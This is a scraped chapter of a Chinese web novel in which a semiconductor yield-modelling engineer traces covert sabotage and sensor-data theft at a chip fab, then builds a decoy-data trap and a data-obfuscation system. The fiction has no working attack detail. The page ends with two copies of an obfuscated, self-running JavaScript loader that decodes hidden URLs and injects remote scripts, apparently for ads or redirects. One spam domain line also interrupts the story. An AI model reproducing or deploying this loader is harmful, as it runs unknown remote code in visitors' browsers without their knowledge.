首页
第207章 张京京深夜复盘良
返回
关灯 护眼:关 字号:小

第207章 张京京深夜复盘良率模型

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    张京京面前的六块屏幕同时亮着,每一块都在进行不同维度的数据模拟。他已经连续工作了十一个小时,从下午两点静电事故发生后,他就立即带领自己的良率建模团队投入紧急分析。作为与金秉洙丶梁志远并称制造体系「铁三角」的核心技术领袖,张京京比任何人都清楚这次事故对14nm量产进程的打击。
    咖啡杯在桌角排了三个,两杯已经空了,第三杯正在变凉。这位四十出头丶在半导体制造领域深耕二十年的女博士,此刻眉头紧锁,全神贯注。
    左边第一块屏幕上是传统的良率模型界面。自「天权5号」开始量产以来,张京京亲自构建和优化这套基于统计过程控制(SPC)的预测系统。模型收集了超过两百个工艺参数丶五十种在线测量数据丶以及每片晶圆上数千个测试结构的电性特性,通过多元回归和机器学习算法,能够提前三批次预测良率趋势,准确率达到89.7%。
    【写到这里我希望读者记一下我们域名台湾小説网→??????????.??????】
    这个成绩曾让他的团队在季度技术评审会上获得陈醒的亲自表彰。但现在,这套模型在静电事故面前显得苍白无力。
    「关键变量缺失。」张京京对着麦克风录音,这是他二十年来养成的专业习惯,「模型假设所有工艺偏差都源于设备波动丶材料变异或操作误差,没有考虑外部环境因素的突然介入。这是建模哲学的根本缺陷。」
    他在键盘上敲击,调出事故前六小时的完整数据流。屏幕被分割成几十个小窗口:环境温湿度曲线丶洁净室粒子计数丶电力质量参数丶冷却水流量与温度丶各种气体的纯度和压力……
    一切看起来都那么正常。直到下午三点十六分四十三秒。
    在那个时间戳上,张京京放大了十倍的时间解析度。千分之一秒的尺度下,原本平滑的曲线开始暴露出细微的波动。但问题在于,这些波动太同步了。
    「温湿度传感器响应时间常数三秒,电力监控采样间隔20毫秒,粒子计数器每十秒更新一次。」他喃喃自语,手指无意识地敲击桌面,「不同传感器的物理特性不同,采样频率不同,本徵噪声也不同。但在3点16分43.217秒这个点上,十二个独立监测系统的读数同时出现了微小但可检测的异常。」
    他调出相关性分析软体,将十二组异常数据进行时间对齐。软体输出的相关系数矩阵显示,所有参数波动的同步性高达0.86,在统计学上,这几乎不可能是偶然。
    「一个共同的扰动源。」张京京在电子笔记上标注,字迹刚劲有力,「同时影响了温度丶湿度丶电力丶气体丶粒子……甚至液体流量?这违背了传统环境工程的常识。」
    他暂停下来,揉了揉发酸的眼睛。窗外,华夏芯谷的灯光在夜色中依然明亮,但部分区域已经暗了下来,那是静电事故后停机的产线。从他所在的九楼看下去,还能看到维修团队在EUV曝光区外搭建的临时工作平台,巨大的光刻机部件被缓缓吊出厂房。
    这景象让他感到一阵刺痛。那片摔碎的晶圆,那台损坏的光刻机,不仅是物质损失,更是整个制造团队数月心血的毁灭。而他负责的良率模型,本应提前预警这种风险。
    「重来。」张京京关掉所有屏幕,只留下一个空白的建模界面,「从第一性原理开始。」
    他决定构建一个全新的模型框架,不再假设外部环境是稳定或缓慢变化的背景条件,而是将其作为主动的丶可能突变的输入变量。这违背了传统半导体制造的所有教材和工程实践,在那些教科书里,工厂环境是被严格控制的「常量」。
    但现实给了他们一记耳光。
    新模型需要一个名字。张京京想了想,输入了「R-SEM」三个字母:ResilientSemiconductorManufacturingModel,弹性半导体制造模型。这个名字蕴含着他对未来的期望:不仅要制造晶片,更要构建能够抵御冲击的制造系统。
    R-SEM的第一层是环境传感网络。他将全厂区487个环境监测点按物理特性分类:温度丶湿度丶压力丶气流丶电力丶振动丶声学丶光学丶电磁……每个监测点不仅记录瞬时值,还要计算其一阶导数(变化率)和二阶导数(变化加速度)。这种处理方式需要巨大的计算资源,但值得。
    第二层是物理耦合模型。温度变化如何影响设备热膨胀?湿度波动如何改变静电积累?电力谐波如何耦合进控制系统?这是最复杂的部分,需要大量物理方程和实验数据。张京京调出了过去半年所有设备异常事件的维修报告,从中提取环境因素与设备故障的关联模式。作为制造体系的三位核心领导者之一,他拥有最高数据访问权限。
    第三层是容错控制算法。如果某个环境参数突然异常,系统应该做什麽?降低工艺精度要求?切换备用设备?还是紧急停机?这需要在良率损失和风险控制之间做动态权衡。这种决策逻辑,正是他多年来与金秉洙丶梁志远协同作战积累的经验。
    建模工作进行到凌晨三点时,张京京遇到了第一个关键难题:数据维度爆炸。
    487个监测点,每个点三个特徵(值丶一阶导丶二阶导),每秒钟产生1461个数据维度。如果再考虑各维度之间的交叉影响,特徵空间会膨胀到数百万维。没有任何传统算法能处理这种规模的数据。
    「需要降维。」他自言自语,从抽屉里拿出一块白板笔,在玻璃墙上快速演算,「但不是简单的主成分分析(PCA),因为我们需要保留那些罕见的异常模式,而不是压缩它们。」
    这时,他想起了上周与赵静的一次技术交流。那位「小芯」AI平台的负责人提到了一种「异常敏感编码」算法。与传统方法不同,这种编码方式专门设计用于在降维过程中保留那些偏离正常分布的罕见特徵。
    张京京立即调取「小芯」AI平台的开发接口。作为制造体系的三位核心负责人之一,他拥有最高级别的平台访问权限。登录验证通过后,他上传了环境监测数据的样本集,请求调用异常敏感编码模块。
    等待伺服器响应的间隙,他起身走到窗边。夜空中的星辰稀疏,远处城市的灯火像散落的金沙。这让他想起自己博士毕业时的选择,放弃海外高薪offer,加入当时还只有几条落后产线的未来科技。很多人不理解,但他看到了陈醒眼中的那种光,那种要改变一个产业命运的决心。
    十五年过去了,他们从90nm一路走到14nm,从仰人鼻息到自主可控。现在,新的挑战来了。
    电脑发出提示音。张京京回到座位,屏幕上显示着编码结果。原本1461维的数据,被压缩到了128维,但压缩后的特徵空间里,那些异常事件不仅没有丢失,反而被凸显出来。
    他放大今天下午三点十六分附近的数据。在128维的特徵空间中,那个时刻形成了一个明显的「孤岛」,远离正常数据簇,孤立而突兀。
    「就是这里。」张京京感到心跳加速。他启动聚类分析算法,对过去三个月的所有数据进行扫描,寻找类似的「孤岛」。
    结果令人震惊:类似的异常「孤岛」在过去九十天里出现了七次。每次持续时间从0.5秒到3秒不等,都发生在深夜或凌晨,都在生产的关键时段。但之前的六次,因为强度较弱,没有引发设备故障,只是导致了良率的微小波动,波动小到被归因于正常的工艺随机性。
    张京京调出那六次事件对应的晶圆批次良率数据。果然,每个事件发生后的下一批次,良率平均下降了1.2到2.7个百分点。虽然幅度不大,但趋势一致:都是下降。
    「这不是随机的环境扰动。」他对着麦克风说,声音沉稳有力,「这是有规律丶有目的的测试性攻击。强度由弱到强,频率逐渐增加,就像在试探我们的系统响应边界。」
    他快速编写了一个预测算法,基于七次事件的强度丶持续时间丶间隔时间等特徵,建立时间序列模型。算法运行完毕后,屏幕上弹出一个预测结果:
    「预计下一次事件将在48到72小时内发生。预计强度为本次事件的1.3到1.8倍。预计持续时间3到5秒。」
    张京京盯着那个预测,眼神变得锐利。如果预测准确,下一次攻击的强度会更大,持续时间会更长。而刚刚遭受重创的产线,可能承受不住这种冲击。
    他必须立即与金秉洙丶梁志远沟通。
    但就在他拿起加密电话时,一个新的疑问浮现在脑海:攻击者是如何精确知道攻击时机的?为什麽每次都能选在关键工艺步骤进行时?是内鬼,还是……
    张京京的目光落在「小芯」AI平台的接口日志上。他刚刚上传了环境数据样本集,用于异常敏感编码。这让他突然意识到一件事:「小芯」平台不仅仅是分析工具,它本身也是一个数据节点,连接着未来科技的各个系统。
    如果「小芯」被入侵了呢?
    这个想法让他不寒而栗。他立即调出「小芯」平台的安全审计日志,检查所有与华夏芯谷环境监测系统的数据交互记录。日志显示正常,没有未授权的访问记录。
    但张京京不放心。在制造领域二十年的经验告诉他,高级的入侵往往会伪装成合法访问。他需要更深层的检测。
    他写了一段代码,在R-SEM模型中增加了一个特殊模块:「诱饵数据监测」。这个模块会向环境监测系统注入少量虚假的丶具有唯一特徵的数据,就像在河流中放入带有标记的鱼。如果这些虚假数据出现在不该出现的地方,就说明数据流被窃听了。
    代码编写完成后,他毫不犹豫地按下了执行键。作为制造体系负责人,他有权在紧急情况下采取必要的技术措施。
    虚假数据像几滴透明的墨水,融入了庞大的数据流。张京京的监控程序开始运行,扫描所有可能流出数据的接口:网络出口丶API调用丶数据导出记录……
    五分钟过去,没有异常。
    十分钟,依然安静。
    就在他准备暂时放下这个怀疑时,监控程序突然弹出一个警报:
    「诱饵数据在非授权埠被捕获。埠号:2847。协议:自定义加密。目标IP:境外中转伺服器,经两次跳转后丢失追踪。」
    张京京感到全身的血液都凉了下来。他的怀疑被证实了:确实有人在实时窃取华夏芯谷的环境监测数据。而且这个窃取通道极其隐蔽,使用自定义的加密协议,通过境外伺服器中转,常规的安全审计根本无法发现。
    攻击者不仅知道何时攻击,还知道攻击后系统的反应,因为他们能实时看到温湿度丶电力丶粒子计数的变化,从而评估攻击效果,调整下一次攻击策略。
    这是一场精密的丶数据驱动的电磁战争。
    张京京看了一眼时间:凌晨四点二十三分。他不再犹豫,直接拨通了金秉洙和梁志远的三方加密线路,这是制造体系铁三角的紧急联络通道。
    电话几乎立刻被接通。金秉洙显然还在EUV光源实验室:「京京?我和梁工刚看完事故分析报告。」
    梁志远的声音紧接着传来,背景音是维修现场的嘈杂:「张博士,我们发现接地系统有异常电位差,正想找你分析数据关联性。」
    「两位,我发现了三件事。」张京京的声音冷静而坚定,带着技术领袖特有的权威,「第一,今天下午的静电事故不是孤立事件,过去三个月发生了六次类似但更弱的攻击。第二,我建立了预测模型,下一次攻击可能在48到72小时内发生,强度更大。第三,我们的环境监测数据被实时窃取,攻击者根据这些数据在调整攻击策略。」
    电话那头沉默了五秒。然后金秉洙的声音传来,低沉而严肃:「数据窃取……能定位源头吗?」
    「我设置的诱饵数据指向境外中转伺服器,但最终追踪丢失。对方有很强的反追踪能力。」张京京调出监控记录共享给他们,「不过,既然我们发现了这个窃取通道,就可以反过来利用它。」
    梁志远立刻明白了他的意思:「你要传递虚假数据?误导他们?」
    「对。」张京京快速操作,将「镜渊」系统的设计思路同步展示,「我要在真实数据流中混合精心构造的虚假特徵,误导攻击者对系统状态的判断。让他们看到我们想让他们看到的假象。」
    「这需要『小芯』AI平台的深度参与。」金秉洙指出,「而且必须确保真实生产过程不受影响。」
    「我已经设计好了系统架构。」张京京调出方案图,「数据混淆在传输层实时完成,不影响本地控制系统的正常运行。我需要『小芯』平台的核心算法支持和最高计算权限。」
    「我来协调。」梁志远立刻说,「我和赵静博士沟通,给你开最高权限。金工,你那边EUV光源的防护要加强,我怀疑下一次攻击可能会直接针对你们的『起搏器』电极。」
    「已经在做。」金秉洙回答,「我让团队加装了主动电磁屏蔽层,但完全防护需要时间。京京,你的预测模型能给出更精确的时间窗口吗?」
    「我正在优化。」张京京看着屏幕上运行的算法,「目前精度在±6小时。给我两小时,我能压缩到±2小时。」
    「好。」梁志远拍板,「京京,你继续完善模型和混淆系统。我和金工现在就去向陈总汇报,同时启动全厂电磁防护升级。一小时后,我们三个开个短会,确定最终方案。」
    通话结束。张京京靠在椅背上,深深地吸了一口气。窗外的天色开始由深黑转为墨蓝,黎明前的黑暗正在消退。
    作为制造体系的三大支柱之一,他经历过28nm量产攻坚的数百个不眠之夜,经历过EUV光源研发的一次次失败重来。但这一次的挑战不同,敌人是无形的,攻击是隐蔽的,战场延伸到了数据和电磁空间。
    但他从不畏惧挑战。正是这种性格,让他从一名普通工艺工程师,一步步成长为带领团队攻克关键制造难题的技术领袖。
    张京京重新坐直,手指在键盘上飞舞。六块屏幕再次亮起,但这一次,它们显示的不再只是良率模型,而是一个多维战场的数据地图。
    诱饵数据监控程序在后台运行,不断标记着敌人的数据窃取轨迹。
    R-SEM预测模型持续计算,推演着下一次攻击的可能时间和模式。
    而他的新任务,数据混淆系统,正在快速搭建。他调用「小芯」AI的核心算法库,开始构建一个能够实时生成「真实谎言」的智能代理。
    这个代理需要学习正常环境数据的统计分布,然后在保持整体一致性的前提下,微妙地篡改那些对攻击者决策关键的参数:把实际下降的粒子计数改成稳定,把轻微异常的电力谐波改成完美,把刚刚修复的设备状态改成仍在报警……
    他要让攻击者看到的,是一个他们想要看到的假象。
    而真实的情况,将隐藏在数据海洋的深处,只有未来科技自己能解读。
    当第一缕晨光透过窗户,洒在张京京的键盘上时,他的数据混淆系统完成了第一版原型。系统命名为「镜渊」,如镜子般反射,如深渊般不可测。
    他启动了测试。屏幕上,真实数据流和混淆数据流并行显示,几乎一模一样,但在专业分析下,那些被篡改的细节开始显现。
    成功了。
    张京京保存了所有工作,设置好自动监控和预警。连续工作超过十六个小时,他的身体已经到达极限,但眼神依然锐利如初。
    他走到窗边,看着晨光中的华夏芯谷。厂房又开始活动了,早班的技术人员正陆续进入,维修团队继续着昨夜的工作。
    一切看起来和昨天一样,但一切都已经不同。
    张京京知道,从今天起,晶片制造不仅仅是光刻丶蚀刻丶沉积这些物理过程,更是一场在数据空间和电磁空间同时进行的无声战争。
    而他,作为制造体系的技术领袖,刚刚为这场战争打造了第一件智能武器。
    桌面上的加密通讯器亮起,是金秉洙发来的消息:「陈总已听取汇报,批准『镜渊』系统部署。安全团队一小时后到位配合。另:林薇总从宝岛发回重要情报,欧罗巴方面有新动向,上午十点开制造体系扩大会议。」
    张京京快速回覆:「收到。模型预测精度已提升至±2.3小时,下一次攻击窗口在明日凌晨2点到6点之间。建议今晚进行全厂防护测试。」
    他放下通讯器,看着屏幕上那个不断闪烁的预测窗口。
    距离下一次攻击,还有不到二十四小时。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD 